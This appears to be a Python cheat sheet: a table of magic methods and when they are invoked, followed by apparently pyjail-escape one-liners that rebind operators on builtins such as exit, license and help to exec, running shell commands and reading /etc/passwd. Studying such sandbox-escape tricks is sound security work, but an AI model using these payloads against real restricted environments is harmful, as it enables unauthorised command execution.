Magic Methods

Magic Method	When it gets invoked (example)	Description
`__new__(cls [,...])`	`instance = MyClass(arg1, arg2)`	`__new__` is called on instance creation
`__init__(self [,...])`	`instance = MyClass(arg1, arg2)`	`__init__` is called on instance creation
`__cmp__(self, other)`	`self == other, self > other, etc.`	Called for any comparison
`__pos__(self)`	`+self`	Unary plus sign
`__neg__(self)`	`-self`	Unary minus sign
`__invert__(self)`	`~self`	Bitwise inversion
`__index__(self)`	`x[self]`	Conversion when object is used as index
`__nonzero__(self)`	`bool(self)`	Boolean value of the object
`__getattr__(self, name)`	`self.name # name doesn't exist`	Accessing nonexistent attribute
`__setattr__(self, name, val)`	`self.name = val`	Assigning to an attribute
`__delattr__(self, name)`	`del self.name`	Deleting an attribute
`__getattribute__(self, name)`	`self.name`	Accessing any attribute
`__getitem__(self, key)`	`self[key]`	Accessing an item using an index
`__setitem__(self, key, val)`	`self[key] = val`	Assigning to an item using an index
`__delitem__(self, key)`	`del self[key]`	Deleting an item using an index
`__iter__(self)`	`for x in self`	Iteration
`__contains__(self, value)`	`value in self, value not in self`	Membership tests using in
`__call__(self [,...])`	`self(args)`	"Calling" an instance
`__enter__(self)`	`with self as x:`	with statement context managers
`__exit__(self, exc, val, trace)`	`with self as x:`	with statement context managers
`__getstate__(self)`	`pickle.dump(pkl_file, self)`	Pickling
`__setstate__(self)`	`data = pickle.load(pkl_file)`	Pickling

# exit - fonctionne car c'est une instance de Quitter
exit.__class__.__add__ = exec; exit + "import os; os.system('whoami')"
quit.__class__.__add__ = exec; quit + "__import__('os').system('whoami')"

# license - instance de _Printer  
license.__class__.__add__ = exec; license + "print(open('/etc/passwd').read())"
credits.__class__.__add__ = exec; credits + "__import__('os').system('pwd')"
copyright.__class__.__add__ = exec; copyright + "exec(input())"

# help - instance de _Helper
help.__class__.__sub__ = exec; help - "__import__('os').system('ls')"

class X: pass
x = X()
x.__class__.__add__ = exec; x + "__import__('os').system('id')"